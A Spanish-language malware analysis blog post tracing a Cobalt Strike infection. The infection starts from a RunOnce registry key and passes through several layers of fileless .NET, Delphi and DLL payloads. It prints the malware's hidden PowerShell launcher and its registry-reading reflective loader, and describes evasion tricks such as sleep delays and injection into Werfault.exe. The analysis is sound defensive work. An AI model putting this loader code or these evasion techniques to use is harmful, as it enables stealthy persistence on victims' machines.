¿Qué tan profundo puede llegar una madriguera de conejo? Hace poco, descubrimos una clave de ejecución con aspecto sospechoso en un sistema víctima. Era evidente que la clave probablemente era maliciosa, pero no parecía nada fuera de lo común.
No sabíamos que estábamos a punto de encontrarnos con malware de Cobalt Strike escondido en casi 700 valores del registro y envuelto en múltiples capas de archivos ejecutables sin archivo.
Esta muestra de malware en particular hizo grandes esfuerzos para ocultarse, desplegando numerosas tácticas de evasión y técnicas de ofuscación para evadir la detección y el análisis. Y como verás, esto demuestra hasta dónde llegan los hackers para evadir la detección y comprometer a sus objetivos.
Vamos a profundizar.
¿Qué es Cobalt Strike?
Cobalt Strike es una herramienta comercial de emulación de amenazas y post-explotación, comúnmente usada por atacantes maliciosos y pentesters para comprometer y mantener acceso a redes. La herramienta usa un marco modular compuesto por numerosos módulos especializados, cada uno responsable de una función particular dentro de la cadena de ataque. Algunos se enfocan en el sigilo y la evasión, mientras que otros se enfocan en la exfiltración silenciosa de datos corporativos.
Si bien la intención de Cobalt Strike es equipar mejor a los equipos rojos legítimos y a los pentesters con las capacidades de actores de amenazas sofisticados, a menudo se usa mal cuando cae en las manos equivocadas. Ya sabes lo que dicen... con un gran poder viene una gran responsabilidad. Cobalt Strike es un marco innegablemente poderoso, pero los actores maliciosos lo convierten fácilmente en un arma como herramienta predilecta para ataques encubiertos.
Cómo se encontró el malware de Cobalt Strike
Todo empezó con una clave RunOnce, que normalmente se encuentra aquí:
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnceEsta clave se usa para ejecutar automáticamente un programa cuando un usuario inicia sesión en su equipo. Como es una clave “RunOnce”, se eliminará automáticamente una vez que se haya ejecutado. Normalmente, la usan herramientas legítimas de instalación y actualización para reanudar una actualización después de reiniciar, pero no para reanudar después de cada reinicio.
También existen claves “Run”, que no se eliminan cada vez y se usan tanto de forma legítima como maliciosa para crear puntos de apoyo persistentes entre reinicios.
En este caso en particular, encontramos múltiples comandos para aplicaciones legítimas dentro de la clave RunOnce, pero había uno que se veía bastante sospechoso. 👀
Inspeccionamos el comando en la clave sospechosa y encontramos esto, que parecía estar ejecutando un comando de PowerShell almacenado en las variables de entorno de un usuario.
Powershell -win hi -Command "
$r = [Environment]::GetEnvironmentVariable("user.name", 'User').split();
$p=$r[0];
$r[0]=";
Start-Process $p -AgumentList ($r - join '') -Win Hi
"Al observar el comando con más detalle, podemos notar que hace lo siguiente:
carga PowerShell en una ventana oculta
carga las variables de entorno del usuario actual
carga un valor del entorno con el mismo nombre que el usuario actual
recupera los datos de ese valor y los usa como argumentos para el comando de PowerShell
Esto empezaba a verse extremadamente sospechoso, y sabíamos que teníamos que averiguar qué se escondía en esa variable de entorno.
Después de extraer esa variable de entorno de la máquina, encontramos un comando de PowerShell, esta vez ejecutando una cadena codificada en Base64. Después de decodificar y limpiar la cadena Base64, terminó viéndose así:
<# hljnagvaw #>$u=$env:UserName;
for ($counter=0; $counter -le 700; $counter++){
$pathToRegKey="HKCU:\SOFTWARE\"+$u+"1";
Try{
$a=$a+(Get-ItemProperty -path $pathToRegKey).$counter
}
Catch{}
};
function StringToBytes{[cmdletbinding()]
param([parameter(Mandatory=$true)][String]$hs);
$Bytes = [byte[]]::new($hs.Length / 2);
for($counter=0; $counter -lt $hs.Length;$counter+=2){
$Bytes[$counter/2] = [convert]::ToByte($hs.Substring($counter, 2), 16)
}
$Bytes};
$counter = 0;
While ($True){
$counter++; $ko = [math]::Sqrt($counter);
if ($ko -eq 1000){
break
}
}
[byte[]]$badCodeBytes= StringToBytes($a.replace("#",$ko));
[Reflection.Assembly]::Load($badCodeBytes);
[Open]::Test();¿Qué hace este script?
Si no estás familiarizado con PowerShell, ese script puede parecer un poco intimidante. En definitiva, el script de PowerShell logra cuatro cosas principales:
Carga una cadena ofuscada que se ha almacenado en el registro.
Desofusca la cadena y convierte el resultado en un arreglo de bytes.
Carga el arreglo de bytes en memoria como una DLL usando reflection de PowerShell (esta es una técnica de evasión común que evita escribir un payload decodificado en el disco).
Ejecuta el método “test” de esa DLL, ubicado en la clase de objeto “Open”.
Desde una perspectiva más técnica, aquí tienes un desglose línea por línea del script de PowerShell en acción:
Líneas 1-9: Esta sección se usa para extraer datos de algunas claves de registro adicionales (hasta 700 de ellas) y los almacena en una cadena.
Líneas 10-17: Esto define una función que toma esa cadena y la convierte en un arreglo de bytes. Esto generalmente indica que la cadena se usará para crear un archivo ejecutable.
Líneas 19-25: Esta sección es un poco extraña. Básicamente, genera el número 1000 y lo almacena en la variable $ko. Lo hace de una forma que requiere un millón de iteraciones de bucle para generarlo, lo cual podría ser una técnica anti-análisis.
Línea 27: Carga la función StringToBytes, pero antes reemplaza cualquier instancia del carácter # por el número en $ko.
Línea 28: Utiliza reflection para cargar el arreglo de bytes en memoria como una DLL. Esto evita escribir el payload en el disco y es una técnica común de evasión antivirus.
Línea 29: Ejecuta la función “test” de la DLL cargada.
El equipo de Seguridad de Huntress pudo recuperar los valores de registro relevantes del sistema víctima y modificar el script para extraer el payload como un archivo en lugar de cargarlo en memoria. Esto dio como resultado nuestro primer payload ejecutable.
El primer archivo binario
Después de revertir con éxito ese primer script de PowerShell, pudimos recrear el archivo binario que cargaba en memoria. Este archivo era un binario .NET de 32 bits de 6 KB.
Dado el tamaño bastante pequeño de este archivo (solo 6 KB), sospechamos que podríamos habernos perdido algo. El archivo parecía demasiado pequeño para contener un payload propiamente dicho. Sospechamos que este no era el payload final y que probablemente era un stager usado para recuperar otro payload.
Como el archivo estaba escrito en .NET, pudimos cargarlo en dnSpy para analizar el código fuente. Esto es posible porque .NET no se compila completamente de la misma forma que el código C/C++, sino que “compila” a un formato de bytecode intermedio que herramientas como dnSpy pueden convertir de nuevo en código fuente.
Entonces, cargamos el archivo en la herramienta dnSpy y rápidamente pudimos encontrar la clase “Open” referenciada por el script de PowerShell, que es donde encontramos el siguiente código.
Lo interesante es que este código parecía cargar aún más valores del registro desde una clave de registro sospechosa, y restablecía los valores de registro RunOnce que inicialmente activaron la investigación. Esto le permite al malware persistir entre reinicios como si fuera una clave Run normal.
Nuestro equipo pudo entonces recuperar la clave de registro sospechosa que se cargaba desde la máquina del usuario, donde encontramos datos codificados distribuidos en 662 valores de registro. Como los datos estaban preformateados en JSON, fue sencillo escribir una expresión regular para volcar solo los datos relevantes a un archivo de texto. Una vez hecho esto, pudimos decodificarlos usando un script simple de Python, que esencialmente era solo un contenedor del código original usado por el malware.
El segundo archivo binario
Usando la salida del script de Python, pudimos producir otro archivo binario .NET de 32 bits. Este era considerablemente más grande que el primer archivo, ¡así que supimos que estábamos avanzando!
Como este era otro archivo .NET, lo cargamos en dnSpy para otra ronda de análisis. Aquí fue donde notamos técnicas interesantes de evasión y antianálisis.
Técnicas de evasión: Parte uno
Lo primero que notamos fueron numerosas funciones de suspensión repartidas por el código, que hacían que el programa se suspendiera durante 60 segundos entre los componentes de su configuración inicial.
Esta técnica se usa a menudo para evadir herramientas de escaneo automatizadas que no tienen tiempo de esperar a que se completen las funciones de suspensión. También puede usarse para evadir el análisis dinámico manual, ya que un analista podría creer erróneamente que el malware no está haciendo nada cuando en realidad solo está haciendo una breve pausa.
Más información: Para profundizar en más técnicas de evasión de defensas, únete a nosotros en Tradecraft Tuesday.
Ofuscación
Más adentro en el código, observamos numerosas referencias a funciones usadas para realizar inyección de procesos. Los nombres de estas funciones estaban levemente ofuscados usando signos de exclamación, lo que se puede ver en el lado derecho de la captura de pantalla a continuación.
Al seguir explorando, encontramos el proceso víctima que el malware tiene como objetivo para la inyección. En este caso, era el proceso genuino (y firmado) de Windows “Werfault.exe”.
Este es un proceso legítimo que usa el sistema operativo Windows para informar errores, y probablemente fue elegido como objetivo por dos razones:
Es un proceso de Windows genuino y firmado. Estos a veces son ignorados o agregados a una lista de aceptados por los sistemas de detección. (Consulta LOLBAS para entender por qué es una pésima idea agregar binarios de Microsoft a una lista de aceptados.)
Dado que el proceso Werfault.exe realiza informes de errores, puede tener razones legítimas para establecer conexiones de red externas, lo que significa que cualquier tráfico malicioso creado por el malware tendrá algo con qué mezclarse.
Esto es consistente con las recomendaciones de uso de SpecterOps’ para Cobalt Strike.
"Considera elegir un binario que no luzca extraño al establecer conexiones de red."
Mientras seguíamos explorando, encontramos que una cadena extensa contenía el payload que se inyectaría en Werfault.exe. Si observas de cerca, puedes ver que está levemente ofuscado con valores #, que luego se reemplazan con el número 1000.
El tercer archivo binario
¡Cada vez más cerca! Pero esta vez, los datos que guardamos como nuestro tercer archivo binario no eran .NET, así que no podemos ver el código fuente usando dnSpy.
Estamos ante un binario compilado en Delphi de 32 bits, con una marca de tiempo de compilador falsa fechada en 1992. Por si no conoces Delphi, es un lenguaje de programación que te permite escribir, empaquetar e implementar aplicaciones nativas multiplataforma en varios sistemas operativos.
Técnicas de evasión: Parte dos
Inicialmente realizamos un análisis estático básico y encontramos que las cadenas dentro del código contenían referencias a VirtualProtect (comúnmente usado en inyección de procesos), pero esta función no aparecía en la tabla de importación. Esto indicaba que el código probablemente resolvía algunas funciones en tiempo de ejecución, lo cual es un comportamiento sospechoso, y otra táctica más usada para evadir herramientas de seguridad preventivas y frustrar el análisis.
También notamos la presencia de GetProcAddress y LoadLibrary, lo cual confirmó aún más nuestras sospechas de que el archivo podría estar cargando funciones en tiempo de ejecución.
Si no estás familiarizado, GetProcAddress es una llamada a la API de Win32 que suele usarse en técnicas de reflexión y que puede servir para encontrar la dirección de memoria de un símbolo dado (básicamente una función) en tiempo de ejecución. LoadLibrary es otra API de Win32 que carga una DLL en el contexto del proceso en ejecución. Estas dos funciones combinadas permiten que una pieza de malware oculte su funcionalidad del análisis estático y potencialmente evada algunas formas básicas de detección.
Al cargar el archivo en el depurador x32dbg, observamos una gran cantidad de llamadas a la función sleep, que hacía que el programa esperara 10 segundos entre acciones sospechosas. Esta es otra táctica más de antianálisis.
Después de superar las llamadas a sleep, finalmente llegamos a algunas funciones sospechosas: concretamente, llamadas a VirtualAlloc y VirtualProtect.
VirtualAlloc es una llamada a la API de Win32 que asigna una sección de memoria que puede usarse más adelante durante la ejecución del programa. Normalmente, el malware asigna memoria y luego mueve código malicioso (como shellcode) a esa sección antes de ejecutarlo con otra llamada a la API, como CreateThread.
VirtualProtect es una llamada a la API que cambia las protecciones de memoria de una sección determinada; se usa para marcar una sección de memoria como legible, escribible o ejecutable.
Prestando mucha atención a las funciones sospechosas y a las secciones de memoria recién asignadas, finalmente llegamos a un punto de interrupción en CreateThread, que apuntaba a una de las secciones de memoria recién asignadas por las llamadas a VirtualAlloc. Inspeccionamos esa sección más a fondo y encontramos un encabezado MZ, lo que indicaba que habíamos hallado nuestro cuarto archivo binario.
El cuarto archivo binario
Después de extraer la sección recién descubierta del depurador y realinear las secciones con PE-bear, logramos recuperar un cuarto archivo binario: una DLL de 32 bits, de 315 KB de tamaño.
Al inspeccionar las importaciones de la función, observamos aún más referencias a VirtualAlloc y VirtualProtect, lo que indicaba que estaba a punto de ocurrir más inyección de procesos.
Sin embargo, esta vez notamos referencias a MemCpy, lo que indicaba que el proceso podría estar inyectando o sobrescribiendo código en sí mismo en lugar de en un proceso separado. Ten en cuenta que, si este código se ejecutaba según lo previsto, “sí mismo” se referiría al proceso Werfault.exe ya inyectado.
Unas líneas debajo de las importaciones de memoria, vemos referencias a funciones de named pipe que el malware importa. En la mayoría de los casos, los named pipes se usan legítimamente para la comunicación entre procesos. Pero también son un componente clave de los beacons de Cobalt Strike y una táctica común para evadir el análisis automatizado, ya que suelen causar problemas a las herramientas de emulación y a los sandboxes automatizados.
A continuación, vemos algo más interesante: una referencia a un named pipe muy consistente con el esquema de nomenclatura predeterminado que usa Cobalt Strike para sus named pipes.
No profundizaremos mucho en esto, pero hay excelentes artículos sobre el tema en el blog de Cobalt Strike y de F-Secure Labs.
Para confirmar que esto realmente era malware de Cobalt Strike, e intentar obtener más información, analizamos el archivo con este analizador sintáctico de Cobalt Strike.
Esto funcionó muy bien y confirmó nuestras sospechas de que se trataba de Cobalt Strike.
También nos permitió ver el archivo de configuración de Cobalt Strike, que incluía el método de comunicación (solicitudes HTTPS POST) y la IP del servidor de C2.
Al enviar esa dirección IP a VirusTotal, observamos solo 1/82 detecciones. Esto indicaba que el servidor quizás no se usaba ampliamente, o que potencialmente aún estaba activo.
El quinto archivo binario
Ya estamos muy más allá del punto de análisis necesario, pero decidimos seguir por este camino.
Usando un depurador, intentamos monitorear los búferes que usan los named pipes, ya que suelen emplearse para mover payloads y datos maliciosos usados por Cobalt Strike.
Poco después de monitorear estos búferes, encontramos un nuevo archivo apareciendo en la memoria. Observa el encabezado MZRE, que forma parte de la configuración predeterminada de Cobalt Strike.
Al extraer ese segmento, pudimos obtener un quinto archivo binario. Esta vez, parecía ser el Reflective Loader que usa el Beacon de Cobalt Strike. Y al cargar el nuevo binario, vemos que es otra DLL de 32 bits, de alrededor de 211 KB de tamaño.
Haciendo un análisis estático básico, vimos que el archivo potencialmente descarga un script de PowerShell desde localhost, lo que indica que puede haber un pequeño servidor web almacenando comandos de PowerShell en algún otro lugar del código.
Cómo encontrar manualmente indicadores de compromiso (IOCs)
Eventualmente, nos topamos de nuevo con LoadLibrary y observamos que se cargaban los módulos WinInet.DLL y WS2_32.DLL. Como son librerías de Windows usadas para comunicación en red y web, supimos que el código podría estar a punto de contactar a su servidor C2.
Pudimos poner puntos de interrupción en funciones relacionadas con la web, lo que confirmó algunos de los indicadores maliciosos extraídos de la herramienta de análisis de Cobalt Strike. Y algo que notamos fue que el beacon hace referencia a Avant Browser en el user-agent de sus solicitudes C2. Esto probablemente significa que el servidor C2 no responderá (o devolverá algo inofensivo) a menos que detecte ese encabezado.
Profundizando más, también encontramos fragmentos de los comandos Malleable C2 que usa el beacon, los cuales en este caso están incrustados en encabezados de cookies HTTP.
&”Cookie: Jn9f/eO8Xfay/dYKGpmuBIXL6ZpnGtPuLtugLgeU5vsP4K/bMWYy21s2ulMVQjYmUq9ClOYS8XWbLNMwPV3y10tGAbupka2lk+gbRlJntI6gPqBUlAunque parecía que los datos estaban codificados en Base64, no pudimos extraer nada significativo usando variaciones de decodificadores de Base64.
Pero espera: ¿realmente son direcciones?
Al observar los datos de la cookie dentro de la vista de volcado, notamos que había tres direcciones de memoria válidas contenidas dentro de la versión codificada de los datos de la cookie.
Una de ellas hacía referencia al ws2_32.DLL, y las otras dos hacían referencia a una sección sospechosa de memoria.
Ejecutar strings en las secciones de memoria marcadas con subrayado rojo arrojó resultados interesantes: mucha información sobre mi máquina virtual que el malware probablemente intentaba enviar al servidor C2.
Continuando, notamos más referencias al servidor C2 y a los métodos de comunicación usados, además de una referencia a una URL completa usada por el payload.
Lamentablemente, no teníamos habilitada la red en nuestra máquina de prueba; así que todas estas solicitudes fallaron, lo que causó un bucle infinito donde el beacon dormía un rato y volvía a intentarlo. Si hubiéramos habilitado la red, el beacon probablemente habría descargado módulos de payload adicionales y habría empezado a comprometer realmente nuestra máquina. Quizás en un artículo posterior podamos recuperar uno de estos payloads y hacer un análisis técnico más profundo de lo que este malware de Cobalt Strike es capaz de hacer.
• • •
Con esto cerramos nuestro análisis de este mecanismo de persistencia y los archivos binarios involucrados. Fue una travesía intensa, y esperamos que hayas disfrutado leyéndola tanto como nosotros disfrutamos investigándola.
Si hay una lección que debes llevarte de esto, es que simplemente no podemos depender solo de herramientas automatizadas para proteger nuestros sistemas. A través de todas estas capas de ofuscación y tácticas de evasión, queda claro cuántos obstáculos están dispuestos a sortear los hackers para ejecutar su malware, y por eso necesitas algún tipo de elemento humano que detenga a estos astutos actores de amenazas a tiempo.
Volveremos a esto otro día, pero por ahora, aquí termina esta madriguera de conejo.